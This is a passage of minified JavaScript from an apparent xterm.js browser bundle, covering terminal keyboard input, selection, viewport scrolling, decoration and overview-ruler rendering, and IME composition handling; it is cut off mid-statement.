K;!((K=this._selectionService)===null||K===void 0)&&K.shouldColumnSelect(I)?this.element.classList.add("column-select"):this.element.classList.remove("column-select")}_showCursor(){this.coreService.isCursorInitialized||(this.coreService.isCursorInitialized=!0,this.refresh(this.buffer.y,this.buffer.y))}scrollLines(I,K,X=0){var J;X===1?(super.scrollLines(I,K,X),this.refresh(0,this.rows-1)):(J=this.viewport)===null||J===void 0||J.scrollLines(I)}paste(I){(0,l.paste)(I,this.textarea,this.coreService,this.optionsService)}attachCustomKeyEventHandler(I){this._customKeyEventHandler=I}registerLinkProvider(I){return this.linkifier2.registerLinkProvider(I)}registerCharacterJoiner(I){if(!this._characterJoinerService)throw new Error("Terminal must be opened first");const K=this._characterJoinerService.register(I);return this.refresh(0,this.rows-1),K}deregisterCharacterJoiner(I){if(!this._characterJoinerService)throw new Error("Terminal must be opened first");this._characterJoinerService.deregister(I)&&this.refresh(0,this.rows-1)}get markers(){return this.buffer.markers}registerMarker(I){return this.buffer.addMarker(this.buffer.ybase+this.buffer.y+I)}registerDecoration(I){return this._decorationService.registerDecoration(I)}hasSelection(){return!!this._selectionService&&this._selectionService.hasSelection}select(I,K,X){this._selectionService.setSelection(I,K,X)}getSelection(){return this._selectionService?this._selectionService.selectionText:""}getSelectionPosition(){if(this._selectionService&&this._selectionService.hasSelection)return{start:{x:this._selectionService.selectionStart[0],y:this._selectionService.selectionStart[1]},end:{x:this._selectionService.selectionEnd[0],y:this._selectionService.selectionEnd[1]}}}clearSelection(){var I;(I=this._selectionService)===null||I===void 0||I.clearSelection()}selectAll(){var I;(I=this._selectionService)===null||I===void 0||I.selectAll()}selectLines(I,K){var X;(X=this._selectionService)===null||X===void 0||X.selectLines(I,K)}_keyDown(I){if(this._keyDownHandled=!1,this._keyDownSeen=!0,this._customKeyEventHandler&&this._customKeyEventHandler(I)===!1)return!1;const K=this.browser.isMac&&this.options.macOptionIsMeta&&I.altKey;if(!K&&!this._compositionHelper.keydown(I))return this.options.scrollOnUserInput&&this.buffer.ybase!==this.buffer.ydisp&&this.scrollToBottom(),!1;K||I.key!=="Dead"&&I.key!=="AltGraph"||(this._unprocessedDeadKey=!0);const X=(0,N.evaluateKeyboardEvent)(I,this.coreService.decPrivateModes.applicationCursorKeys,this.browser.isMac,this.options.macOptionIsMeta);if(this.updateCursorStyle(I),X.type===3||X.type===2){const J=this.rows-1;return this.scrollLines(X.type===2?-J:J),this.cancel(I,!0)}return X.type===1&&this.selectAll(),!!this._isThirdLevelShift(this.browser,I)||(X.cancel&&this.cancel(I,!0),!X.key||!!(I.key&&!I.ctrlKey&&!I.altKey&&!I.metaKey&&I.key.length===1&&I.key.charCodeAt(0)>=65&&I.key.charCodeAt(0)<=90)||(this._unprocessedDeadKey?(this._unprocessedDeadKey=!1,!0):(X.key!==V.C0.ETX&&X.key!==V.C0.CR||(this.textarea.value=""),this._onKey.fire({key:X.key,domEvent:I}),this._showCursor(),this.coreService.triggerDataEvent(X.key,!0),!this.optionsService.rawOptions.screenReaderMode||I.altKey||I.ctrlKey?this.cancel(I,!0):void(this._keyDownHandled=!0))))}_isThirdLevelShift(I,K){const X=I.isMac&&!this.options.macOptionIsMeta&&K.altKey&&!K.ctrlKey&&!K.metaKey||I.isWindows&&K.altKey&&K.ctrlKey&&!K.metaKey||I.isWindows&&K.getModifierState("AltGraph");return K.type==="keypress"?X:X&&(!K.keyCode||K.keyCode>47)}_keyUp(I){this._keyDownSeen=!1,this._customKeyEventHandler&&this._customKeyEventHandler(I)===!1||(function(K){return K.keyCode===16||K.keyCode===17||K.keyCode===18}(I)||this.focus(),this.updateCursorStyle(I),this._keyPressHandled=!1)}_keyPress(I){let K;if(this._keyPressHandled=!1,this._keyDownHandled||this._customKeyEventHandler&&this._customKeyEventHandler(I)===!1)return!1;if(this.cancel(I),I.charCode)K=I.charCode;else if(I.which===null||I.which===void 0)K=I.keyCode;else{if(I.which===0||I.charCode===0)return!1;K=I.which}return!(!K||(I.altKey||I.ctrlKey||I.metaKey)&&!this._isThirdLevelShift(this.browser,I)||(K=String.fromCharCode(K),this._onKey.fire({key:K,domEvent:I}),this._showCursor(),this.coreService.triggerDataEvent(K,!0),this._keyPressHandled=!0,this._unprocessedDeadKey=!1,0))}_inputEvent(I){if(I.data&&I.inputType==="insertText"&&(!I.composed||!this._keyDownSeen)&&!this.optionsService.rawOptions.screenReaderMode){if(this._keyPressHandled)return!1;this._unprocessedDeadKey=!1;const K=I.data;return this.coreService.triggerDataEvent(K,!0),this.cancel(I),!0}return!1}resize(I,K){I!==this.cols||K!==this.rows?super.resize(I,K):this._charSizeService&&!this._charSizeService.hasValidSize&&this._charSizeService.measure()}_afterResize(I,K){var X,J;(X=this._charSizeService)===null||X===void 0||X.measure(),(J=this.viewport)===null||J===void 0||J.syncScrollArea(!0)}clear(){var I;if(this.buffer.ybase!==0||this.buffer.y!==0){this.buffer.clearAllMarkers(),this.buffer.lines.set(0,this.buffer.lines.get(this.buffer.ybase+this.buffer.y)),this.buffer.lines.length=1,this.buffer.ydisp=0,this.buffer.ybase=0,this.buffer.y=0;for(let K=1;K{Object.defineProperty(a,"__esModule",{value:!0}),a.TimeBasedDebouncer=void 0,a.TimeBasedDebouncer=class{constructor(c,l=1e3){this._renderCallback=c,this._debounceThresholdMS=l,this._lastRefreshMs=0,this._additionalRefreshRequested=!1}dispose(){this._refreshTimeoutID&&clearTimeout(this._refreshTimeoutID)}refresh(c,l,u){this._rowCount=u,c=c!==void 0?c:0,l=l!==void 0?l:this._rowCount-1,this._rowStart=this._rowStart!==void 0?Math.min(this._rowStart,c):c,this._rowEnd=this._rowEnd!==void 0?Math.max(this._rowEnd,l):l;const h=Date.now();if(h-this._lastRefreshMs>=this._debounceThresholdMS)this._lastRefreshMs=h,this._innerRefresh();else if(!this._additionalRefreshRequested){const d=h-this._lastRefreshMs,p=this._debounceThresholdMS-d;this._additionalRefreshRequested=!0,this._refreshTimeoutID=window.setTimeout(()=>{this._lastRefreshMs=Date.now(),this._innerRefresh(),this._additionalRefreshRequested=!1,this._refreshTimeoutID=void 0},p)}}_innerRefresh(){if(this._rowStart===void 0||this._rowEnd===void 0||this._rowCount===void 0)return;const c=Math.max(this._rowStart,0),l=Math.min(this._rowEnd,this._rowCount-1);this._rowStart=void 0,this._rowEnd=void 0,this._renderCallback(c,l)}}},1680:function(o,a,c){var l=this&&this.__decorate||function(y,b,_,w){var S,C=arguments.length,T=C<3?b:w===null?w=Object.getOwnPropertyDescriptor(b,_):w;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")T=Reflect.decorate(y,b,_,w);else for(var k=y.length-1;k>=0;k--)(S=y[k])&&(T=(C<3?S(T):C>3?S(b,_,T):S(b,_))||T);return C>3&&T&&Object.defineProperty(b,_,T),T},u=this&&this.__param||function(y,b){return function(_,w){b(_,w,y)}};Object.defineProperty(a,"__esModule",{value:!0}),a.Viewport=void 0;const h=c(3656),d=c(4725),p=c(8460),m=c(844),v=c(2585);let g=a.Viewport=class extends m.Disposable{constructor(y,b,_,w,S,C,T,k){super(),this._viewportElement=y,this._scrollArea=b,this._bufferService=_,this._optionsService=w,this._charSizeService=S,this._renderService=C,this._coreBrowserService=T,this.scrollBarWidth=0,this._currentRowHeight=0,this._currentDeviceCellHeight=0,this._lastRecordedBufferLength=0,this._lastRecordedViewportHeight=0,this._lastRecordedBufferHeight=0,this._lastTouchY=0,this._lastScrollTop=0,this._wheelPartialScroll=0,this._refreshAnimationFrame=null,this._ignoreNextScrollEvent=!1,this._smoothScrollState={startTime:0,origin:-1,target:-1},this._onRequestScrollLines=this.register(new p.EventEmitter),this.onRequestScrollLines=this._onRequestScrollLines.event,this.scrollBarWidth=this._viewportElement.offsetWidth-this._scrollArea.offsetWidth||15,this.register((0,h.addDisposableDomListener)(this._viewportElement,"scroll",this._handleScroll.bind(this))),this._activeBuffer=this._bufferService.buffer,this.register(this._bufferService.buffers.onBufferActivate(A=>this._activeBuffer=A.activeBuffer)),this._renderDimensions=this._renderService.dimensions,this.register(this._renderService.onDimensionsChange(A=>this._renderDimensions=A)),this._handleThemeChange(k.colors),this.register(k.onChangeColors(A=>this._handleThemeChange(A))),this.register(this._optionsService.onSpecificOptionChange("scrollback",()=>this.syncScrollArea())),setTimeout(()=>this.syncScrollArea())}_handleThemeChange(y){this._viewportElement.style.backgroundColor=y.background.css}reset(){this._currentRowHeight=0,this._currentDeviceCellHeight=0,this._lastRecordedBufferLength=0,this._lastRecordedViewportHeight=0,this._lastRecordedBufferHeight=0,this._lastTouchY=0,this._lastScrollTop=0,this._coreBrowserService.window.requestAnimationFrame(()=>this.syncScrollArea())}_refresh(y){if(y)return this._innerRefresh(),void(this._refreshAnimationFrame!==null&&this._coreBrowserService.window.cancelAnimationFrame(this._refreshAnimationFrame));this._refreshAnimationFrame===null&&(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnimationFrame(()=>this._innerRefresh()))}_innerRefresh(){if(this._charSizeService.height>0){this._currentRowHeight=this._renderService.dimensions.device.cell.height/this._coreBrowserService.dpr,this._currentDeviceCellHeight=this._renderService.dimensions.device.cell.height,this._lastRecordedViewportHeight=this._viewportElement.offsetHeight;const b=Math.round(this._currentRowHeight*this._lastRecordedBufferLength)+(this._lastRecordedViewportHeight-this._renderService.dimensions.css.canvas.height);this._lastRecordedBufferHeight!==b&&(this._lastRecordedBufferHeight=b,this._scrollArea.style.height=this._lastRecordedBufferHeight+"px")}const y=this._bufferService.buffer.ydisp*this._currentRowHeight;this._viewportElement.scrollTop!==y&&(this._ignoreNextScrollEvent=!0,this._viewportElement.scrollTop=y),this._refreshAnimationFrame=null}syncScrollArea(y=!1){if(this._lastRecordedBufferLength!==this._bufferService.buffer.lines.length)return this._lastRecordedBufferLength=this._bufferService.buffer.lines.length,void this._refresh(y);this._lastRecordedViewportHeight===this._renderService.dimensions.css.canvas.height&&this._lastScrollTop===this._activeBuffer.ydisp*this._currentRowHeight&&this._renderDimensions.device.cell.height===this._currentDeviceCellHeight||this._refresh(y)}_handleScroll(y){if(this._lastScrollTop=this._viewportElement.scrollTop,!this._viewportElement.offsetParent)return;if(this._ignoreNextScrollEvent)return this._ignoreNextScrollEvent=!1,void this._onRequestScrollLines.fire({amount:0,suppressScrollEvent:!0});const b=Math.round(this._lastScrollTop/this._currentRowHeight)-this._bufferService.buffer.ydisp;this._onRequestScrollLines.fire({amount:b,suppressScrollEvent:!0})}_smoothScroll(){if(this._isDisposed||this._smoothScrollState.origin===-1||this._smoothScrollState.target===-1)return;const y=this._smoothScrollPercent();this._viewportElement.scrollTop=this._smoothScrollState.origin+Math.round(y*(this._smoothScrollState.target-this._smoothScrollState.origin)),y<1?this._coreBrowserService.window.requestAnimationFrame(()=>this._smoothScroll()):this._clearSmoothScrollState()}_smoothScrollPercent(){return this._optionsService.rawOptions.smoothScrollDuration&&this._smoothScrollState.startTime?Math.max(Math.min((Date.now()-this._smoothScrollState.startTime)/this._optionsService.rawOptions.smoothScrollDuration,1),0):1}_clearSmoothScrollState(){this._smoothScrollState.startTime=0,this._smoothScrollState.origin=-1,this._smoothScrollState.target=-1}_bubbleScroll(y,b){const _=this._viewportElement.scrollTop+this._lastRecordedViewportHeight;return!(b<0&&this._viewportElement.scrollTop!==0||b>0&&_0&&(w=P),S=""}}return{bufferElements:C,cursorElement:w}}getLinesScrolled(y){if(y.deltaY===0||y.shiftKey)return 0;let b=this._applyScrollModifier(y.deltaY,y);return y.deltaMode===WheelEvent.DOM_DELTA_PIXEL?(b/=this._currentRowHeight+0,this._wheelPartialScroll+=b,b=Math.floor(Math.abs(this._wheelPartialScroll))*(this._wheelPartialScroll>0?1:-1),this._wheelPartialScroll%=1):y.deltaMode===WheelEvent.DOM_DELTA_PAGE&&(b*=this._bufferService.rows),b}_applyScrollModifier(y,b){const _=this._optionsService.rawOptions.fastScrollModifier;return _==="alt"&&b.altKey||_==="ctrl"&&b.ctrlKey||_==="shift"&&b.shiftKey?y*this._optionsService.rawOptions.fastScrollSensitivity*this._optionsService.rawOptions.scrollSensitivity:y*this._optionsService.rawOptions.scrollSensitivity}handleTouchStart(y){this._lastTouchY=y.touches[0].pageY}handleTouchMove(y){const b=this._lastTouchY-y.touches[0].pageY;return this._lastTouchY=y.touches[0].pageY,b!==0&&(this._viewportElement.scrollTop+=b,this._bubbleScroll(y,b))}};a.Viewport=g=l([u(2,v.IBufferService),u(3,v.IOptionsService),u(4,d.ICharSizeService),u(5,d.IRenderService),u(6,d.ICoreBrowserService),u(7,d.IThemeService)],g)},3107:function(o,a,c){var l=this&&this.__decorate||function(g,y,b,_){var w,S=arguments.length,C=S<3?y:_===null?_=Object.getOwnPropertyDescriptor(y,b):_;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")C=Reflect.decorate(g,y,b,_);else for(var T=g.length-1;T>=0;T--)(w=g[T])&&(C=(S<3?w(C):S>3?w(y,b,C):w(y,b))||C);return S>3&&C&&Object.defineProperty(y,b,C),C},u=this&&this.__param||function(g,y){return function(b,_){y(b,_,g)}};Object.defineProperty(a,"__esModule",{value:!0}),a.BufferDecorationRenderer=void 0;const h=c(3656),d=c(4725),p=c(844),m=c(2585);let v=a.BufferDecorationRenderer=class extends p.Disposable{constructor(g,y,b,_){super(),this._screenElement=g,this._bufferService=y,this._decorationService=b,this._renderService=_,this._decorationElements=new Map,this._altBufferIsActive=!1,this._dimensionsChanged=!1,this._container=document.createElement("div"),this._container.classList.add("xterm-decoration-container"),this._screenElement.appendChild(this._container),this.register(this._renderService.onRenderedViewportChange(()=>this._doRefreshDecorations())),this.register(this._renderService.onDimensionsChange(()=>{this._dimensionsChanged=!0,this._queueRefresh()})),this.register((0,h.addDisposableDomListener)(window,"resize",()=>this._queueRefresh())),this.register(this._bufferService.buffers.onBufferActivate(()=>{this._altBufferIsActive=this._bufferService.buffer===this._bufferService.buffers.alt})),this.register(this._decorationService.onDecorationRegistered(()=>this._queueRefresh())),this.register(this._decorationService.onDecorationRemoved(w=>this._removeDecoration(w))),this.register((0,p.toDisposable)(()=>{this._container.remove(),this._decorationElements.clear()}))}_queueRefresh(){this._animationFrame===void 0&&(this._animationFrame=this._renderService.addRefreshCallback(()=>{this._doRefreshDecorations(),this._animationFrame=void 0}))}_doRefreshDecorations(){for(const g of this._decorationService.decorations)this._renderDecoration(g);this._dimensionsChanged=!1}_renderDecoration(g){this._refreshStyle(g),this._dimensionsChanged&&this._refreshXPosition(g)}_createElement(g){var y,b;const _=document.createElement("div");_.classList.add("xterm-decoration"),_.classList.toggle("xterm-decoration-top-layer",((y=g==null?void 0:g.options)===null||y===void 0?void 0:y.layer)==="top"),_.style.width=`${Math.round((g.options.width||1)*this._renderService.dimensions.css.cell.width)}px`,_.style.height=(g.options.height||1)*this._renderService.dimensions.css.cell.height+"px",_.style.top=(g.marker.line-this._bufferService.buffers.active.ydisp)*this._renderService.dimensions.css.cell.height+"px",_.style.lineHeight=`${this._renderService.dimensions.css.cell.height}px`;const w=(b=g.options.x)!==null&&b!==void 0?b:0;return w&&w>this._bufferService.cols&&(_.style.display="none"),this._refreshXPosition(g,_),_}_refreshStyle(g){const y=g.marker.line-this._bufferService.buffers.active.ydisp;if(y<0||y>=this._bufferService.rows)g.element&&(g.element.style.display="none",g.onRenderEmitter.fire(g.element));else{let b=this._decorationElements.get(g);b||(b=this._createElement(g),g.element=b,this._decorationElements.set(g,b),this._container.appendChild(b),g.onDispose(()=>{this._decorationElements.delete(g),b.remove()})),b.style.top=y*this._renderService.dimensions.css.cell.height+"px",b.style.display=this._altBufferIsActive?"none":"block",g.onRenderEmitter.fire(b)}}_refreshXPosition(g,y=g.element){var b;if(!y)return;const _=(b=g.options.x)!==null&&b!==void 0?b:0;(g.options.anchor||"left")==="right"?y.style.right=_?_*this._renderService.dimensions.css.cell.width+"px":"":y.style.left=_?_*this._renderService.dimensions.css.cell.width+"px":""}_removeDecoration(g){var y;(y=this._decorationElements.get(g))===null||y===void 0||y.remove(),this._decorationElements.delete(g),g.dispose()}};a.BufferDecorationRenderer=v=l([u(1,m.IBufferService),u(2,m.IDecorationService),u(3,d.IRenderService)],v)},5871:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.ColorZoneStore=void 0,a.ColorZoneStore=class{constructor(){this._zones=[],this._zonePool=[],this._zonePoolIndex=0,this._linePadding={full:0,left:0,center:0,right:0}}get zones(){return this._zonePool.length=Math.min(this._zonePool.length,this._zones.length),this._zones}clear(){this._zones.length=0,this._zonePoolIndex=0}addDecoration(c){if(c.options.overviewRulerOptions){for(const l of this._zones)if(l.color===c.options.overviewRulerOptions.color&&l.position===c.options.overviewRulerOptions.position){if(this._lineIntersectsZone(l,c.marker.line))return;if(this._lineAdjacentToZone(l,c.marker.line,c.options.overviewRulerOptions.position))return void this._addLineToZone(l,c.marker.line)}if(this._zonePoolIndex=c.startBufferLine&&l<=c.endBufferLine}_lineAdjacentToZone(c,l,u){return l>=c.startBufferLine-this._linePadding[u||"full"]&&l<=c.endBufferLine+this._linePadding[u||"full"]}_addLineToZone(c,l){c.startBufferLine=Math.min(c.startBufferLine,l),c.endBufferLine=Math.max(c.endBufferLine,l)}}},5744:function(o,a,c){var l=this&&this.__decorate||function(w,S,C,T){var k,A=arguments.length,M=A<3?S:T===null?T=Object.getOwnPropertyDescriptor(S,C):T;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")M=Reflect.decorate(w,S,C,T);else for(var R=w.length-1;R>=0;R--)(k=w[R])&&(M=(A<3?k(M):A>3?k(S,C,M):k(S,C))||M);return A>3&&M&&Object.defineProperty(S,C,M),M},u=this&&this.__param||function(w,S){return function(C,T){S(C,T,w)}};Object.defineProperty(a,"__esModule",{value:!0}),a.OverviewRulerRenderer=void 0;const h=c(5871),d=c(3656),p=c(4725),m=c(844),v=c(2585),g={full:0,left:0,center:0,right:0},y={full:0,left:0,center:0,right:0},b={full:0,left:0,center:0,right:0};let _=a.OverviewRulerRenderer=class extends m.Disposable{get _width(){return this._optionsService.options.overviewRulerWidth||0}constructor(w,S,C,T,k,A,M){var R;super(),this._viewportElement=w,this._screenElement=S,this._bufferService=C,this._decorationService=T,this._renderService=k,this._optionsService=A,this._coreBrowseService=M,this._colorZoneStore=new h.ColorZoneStore,this._shouldUpdateDimensions=!0,this._shouldUpdateAnchor=!0,this._lastKnownBufferLength=0,this._canvas=document.createElement("canvas"),this._canvas.classList.add("xterm-decoration-overview-ruler"),this._refreshCanvasDimensions(),(R=this._viewportElement.parentElement)===null||R===void 0||R.insertBefore(this._canvas,this._viewportElement);const P=this._canvas.getContext("2d");if(!P)throw new Error("Ctx cannot be null");this._ctx=P,this._registerDecorationListeners(),this._registerBufferChangeListeners(),this._registerDimensionChangeListeners(),this.register((0,m.toDisposable)(()=>{var L;(L=this._canvas)===null||L===void 0||L.remove()}))}_registerDecorationListeners(){this.register(this._decorationService.onDecorationRegistered(()=>this._queueRefresh(void 0,!0))),this.register(this._decorationService.onDecorationRemoved(()=>this._queueRefresh(void 0,!0)))}_registerBufferChangeListeners(){this.register(this._renderService.onRenderedViewportChange(()=>this._queueRefresh())),this.register(this._bufferService.buffers.onBufferActivate(()=>{this._canvas.style.display=this._bufferService.buffer===this._bufferService.buffers.alt?"none":"block"})),this.register(this._bufferService.onScroll(()=>{this._lastKnownBufferLength!==this._bufferService.buffers.normal.lines.length&&(this._refreshDrawHeightConstants(),this._refreshColorZonePadding())}))}_registerDimensionChangeListeners(){this.register(this._renderService.onRender(()=>{this._containerHeight&&this._containerHeight===this._screenElement.clientHeight||(this._queueRefresh(!0),this._containerHeight=this._screenElement.clientHeight)})),this.register(this._optionsService.onSpecificOptionChange("overviewRulerWidth",()=>this._queueRefresh(!0))),this.register((0,d.addDisposableDomListener)(this._coreBrowseService.window,"resize",()=>this._queueRefresh(!0))),this._queueRefresh(!0)}_refreshDrawConstants(){const w=Math.floor(this._canvas.width/3),S=Math.ceil(this._canvas.width/3);y.full=this._canvas.width,y.left=w,y.center=S,y.right=w,this._refreshDrawHeightConstants(),b.full=0,b.left=0,b.center=y.left,b.right=y.left+y.center}_refreshDrawHeightConstants(){g.full=Math.round(2*this._coreBrowseService.dpr);const w=this._canvas.height/this._bufferService.buffer.lines.length,S=Math.round(Math.max(Math.min(w,12),6)*this._coreBrowseService.dpr);g.left=S,g.center=S,g.right=S}_refreshColorZonePadding(){this._colorZoneStore.setPadding({full:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*g.full),left:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*g.left),center:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*g.center),right:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*g.right)}),this._lastKnownBufferLength=this._bufferService.buffers.normal.lines.length}_refreshCanvasDimensions(){this._canvas.style.width=`${this._width}px`,this._canvas.width=Math.round(this._width*this._coreBrowseService.dpr),this._canvas.style.height=`${this._screenElement.clientHeight}px`,this._canvas.height=Math.round(this._screenElement.clientHeight*this._coreBrowseService.dpr),this._refreshDrawConstants(),this._refreshColorZonePadding()}_refreshDecorations(){this._shouldUpdateDimensions&&this._refreshCanvasDimensions(),this._ctx.clearRect(0,0,this._canvas.width,this._canvas.height),this._colorZoneStore.clear();for(const S of this._decorationService.decorations)this._colorZoneStore.addDecoration(S);this._ctx.lineWidth=1;const w=this._colorZoneStore.zones;for(const S of w)S.position!=="full"&&this._renderColorZone(S);for(const S of w)S.position==="full"&&this._renderColorZone(S);this._shouldUpdateDimensions=!1,this._shouldUpdateAnchor=!1}_renderColorZone(w){this._ctx.fillStyle=w.color,this._ctx.fillRect(b[w.position||"full"],Math.round((this._canvas.height-1)*(w.startBufferLine/this._bufferService.buffers.active.lines.length)-g[w.position||"full"]/2),y[w.position||"full"],Math.round((this._canvas.height-1)*((w.endBufferLine-w.startBufferLine)/this._bufferService.buffers.active.lines.length)+g[w.position||"full"]))}_queueRefresh(w,S){this._shouldUpdateDimensions=w||this._shouldUpdateDimensions,this._shouldUpdateAnchor=S||this._shouldUpdateAnchor,this._animationFrame===void 0&&(this._animationFrame=this._coreBrowseService.window.requestAnimationFrame(()=>{this._refreshDecorations(),this._animationFrame=void 0}))}};a.OverviewRulerRenderer=_=l([u(2,v.IBufferService),u(3,v.IDecorationService),u(4,p.IRenderService),u(5,v.IOptionsService),u(6,p.ICoreBrowserService)],_)},2950:function(o,a,c){var l=this&&this.__decorate||function(v,g,y,b){var _,w=arguments.length,S=w<3?g:b===null?b=Object.getOwnPropertyDescriptor(g,y):b;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")S=Reflect.decorate(v,g,y,b);else for(var C=v.length-1;C>=0;C--)(_=v[C])&&(S=(w<3?_(S):w>3?_(g,y,S):_(g,y))||S);return w>3&&S&&Object.defineProperty(g,y,S),S},u=this&&this.__param||function(v,g){return function(y,b){g(y,b,v)}};Object.defineProperty(a,"__esModule",{value:!0}),a.CompositionHelper=void 0;const h=c(4725),d=c(2585),p=c(2584);let m=a.CompositionHelper=class{get isComposing(){return this._isComposing}constructor(v,g,y,b,_,w){this._textarea=v,this._compositionView=g,this._bufferService=y,this._optionsService=b,this._coreService=_,this._renderService=w,this._isComposing=!1,this._isSendingComposition=!1,this._compositionPosition={start:0,end:0},this._dataAlreadySent=""}compositionstart(){this._isComposing=!0,this._compositionPosition.start=this._textarea.value.length,this._compositionView.textContent="",this._dataAlreadySent="",this._compositionView.classList.add("active")}compositionupdate(v){this._compositionView.textContent=v.data,this.updateCompositionElements(),setTimeout(()=>{this._compositionPosition.end=this._textarea.value.length},0)}compositionend(){this._finalizeComposition(!0)}keydown(v){if(this._isComposing||this._isSendingComposition){if(v.keyCode===229||v.keyCode===16||v.keyCode===17||v.keyCode===18)return!1;this._finalizeComposition(!1)}return v.keyCode!==229||(this._handleAnyTextareaChanges(),!1)}_finalizeComposition(v){if(this._compositionView.classList.remove("active"),this._isComposing=!1,v){const g={start:this._compositionPosition.start,end:this._compositionPosition.end};this._isSendingComposition=!0,setTimeout(()=>{if(this._isSendingComposition){let y;this._isSendingComposition=!1,g.start+=this._dataAlreadySent.length,y=this._isComposing?this._textarea.value.substring(g.start,g.end):this._textarea.value.substring(g.start),y.length>0&&this._coreService.triggerDataEvent(y,!0)}},0)}else{this._isSendingComposition=!1;const g=this._textarea.value.substring(this._compositionPosition.start,this._compositionPosition.end);this._coreService.triggerDataEvent(g,!0)}}_handleAnyTextareaChanges(){const v=this._textarea.value;setTimeout(()=>{if(!this._isComposing){const g=this._textarea.value,y=g.replace(v,"");this._dataAlreadySent=y,g.length>v.length?this._coreService.triggerDataEvent(y,!0):g.lengththis.updateCompositionElements(!0),0)}}};a.CompositionHelper=m=l([u(2,d.IBufferService),u(3,d.IOptionsService),u(4,d.ICoreService),u(5,h.IRenderService)],m)},9806:(o,a)=>{function c(l,u,h){const d=h.getBoundingClientRect(),p=l.getComputedStyle(h),m=parseInt(p.getPropertyValue("padding-left")),v=parseInt(p.getPropertyValue("padding-top"));return[u.clientX-d.left-m,u.clientY-d.top-v]}Object.defineProperty(a,"__esModule",{value:!0}),a.getCoords=a.getCoordsRelativeToElement=void 0,a.getCoordsRelativeToElement=c,a.getCoords=function(l,u,h,d,p,m,v,g,y){if(!m)return;const b=c(l,u,h);return b?(b[0]=Math.ceil((b[0]+(y?v/2:0))/v),b[1]=Math.ceil(b[1]/g),b[0]=Math.min(Math.max(b[0],1),d+(y?1:0)),b[1]=Math.min(Math.max(b[1],1),p),b):void 0}},9504:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.moveToCellSequence=void 0;const l=c(2584);function u(g,y,b,_){const w=g-h(g,b),S=y-h(y,b),C=Math.abs(w-S)-function(T,k,A){let M=0;const R=T-h(T,A),P=k-h(k,A);for(let L=0;L=0&&gy?"A":"B"}function p(g,y,b,_,w,S){let C=g,T=y,k="";for(;C!==b||T!==_;)C+=w?1:-1,w&&C>S.cols-1?(k+=S.buffer.translateBufferLineToString(T,!1,g,C),C=0,g=0,T++):!w&&C<0&&(k+=S.buffer.translateBufferLineToString(T,!1,0,g+1),C=S.cols-1,g=C,T--);return k+S.buffer.translateBufferLineToString(T,!1,g,C)}function m(g,y){const b=y?"O":"[";return l.C0.ESC+b+g}function v(g,y){g=Math.floor(g);let b="";for(let _=0;_0?R-h(R,P):A;const Q=R,W=function(V,N,O,H,G,ee){let ie;return ie=u(O,H,G,ee).length>0?H-h(H,G):N,V=O&&ieg?"D":"C",v(Math.abs(w-g),m(C,_));C=S>y?"D":"C";const T=Math.abs(S-y);return v(function(k,A){return A.cols-k}(S>y?g:w,b)+(T-1)*b.cols+1+((S>y?w:g)-1),m(C,_))}},1296:function(o,a,c){var l=this&&this.__decorate||function(P,L,z,Q){var W,V=arguments.length,N=V<3?L:Q===null?Q=Object.getOwnPropertyDescriptor(L,z):Q;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")N=Reflect.decorate(P,L,z,Q);else for(var O=P.length-1;O>=0;O--)(W=P[O])&&(N=(V<3?W(N):V>3?W(L,z,N):W(L,z))||N);return V>3&&N&&Object.defineProperty(L,z,N),N},u=this&&this.__param||function(P,L){return function(z,Q){L(z,Q,P)}};Object.defineProperty(a,"__esModule",{value:!0}),a.DomRenderer=void 0;const h=c(3787),d=c(2550),p=c(2223),m=c(6171),v=c(4725),g=c(8055),y=c(8460),b=c(844),_=c(2585),w="xterm-dom-renderer-owner-",S="xterm-rows",C="xterm-fg-",T="xterm-bg-",k="xterm-focus",A="xterm-selection";let M=1,R=a.DomRenderer=class extends b.Disposable{constructor(P,L,z,Q,W,V,N,O,H,G){super(),this._element=P,this._screenElement=L,this._viewportElement=z,this._linkifier2=Q,this._charSizeService=V,this._optionsService=N,this._bufferService=O,this._coreBrowserService=H,this._themeService=G,this._terminalClass=M++,this._rowElements=[],this.onRequestRedraw=this.register(new y.EventEmitter).event,this._rowContainer=document.createElement("div"),this._rowContainer.classList.add(S),this._rowContainer.style.lineHeight="normal",this._rowContainer.setAttribute("aria-hidden","true"),this._refreshRowElements(this._bufferService.cols,this._bufferService.rows),this._selectionContainer=document.createElement("div"),this._selectionContainer.classList.add(A),this._selectionContainer.setAttribute("aria-hidden","true"),this.dimensions=(0,m.createRenderDimensions)(),this._updateDimensions(),this.register(this._optionsService.onOptionChange(()=>this._handleOptionsChanged())),this.register(this._themeService.onChangeColors(ee=>this._injectCss(ee))),this._injectCss(this._themeService.colors),this._rowFactory=W.createInstance(h.DomRendererRowFactory,document),this._element.classList.add(w+this._terminalClass),this._screenElement.appendChild(this._rowContainer),this._screenElement.appendChild(this._selectionContainer),this.register(this._linkifier2.onShowLinkUnderline(ee=>this._handleLinkHover(ee))),this.register(this._linkifier2.onHideLinkUnderline(ee=>this._handleLinkLeave(ee))),this.register((0,b.toDisposable)(()=>{this._element.classList.remove(w+this._terminalClass),this._rowContainer.remove(),this._selectionContainer.remove(),this._widthCache.dispose(),this._themeStyleElement.remove(),this._dimensionsStyleElement.remove()})),this._widthCache=new d.WidthCache(document),this._widthCache.setFont(this._optionsService.rawOptions.fontFamily,this._optionsService.rawOptions.fontSize,this._optionsService.rawOptions.fontWeight,this._optionsService.rawOptions.fontWeightBold),this._setDefaultSpacing()}_updateDimensions(){const 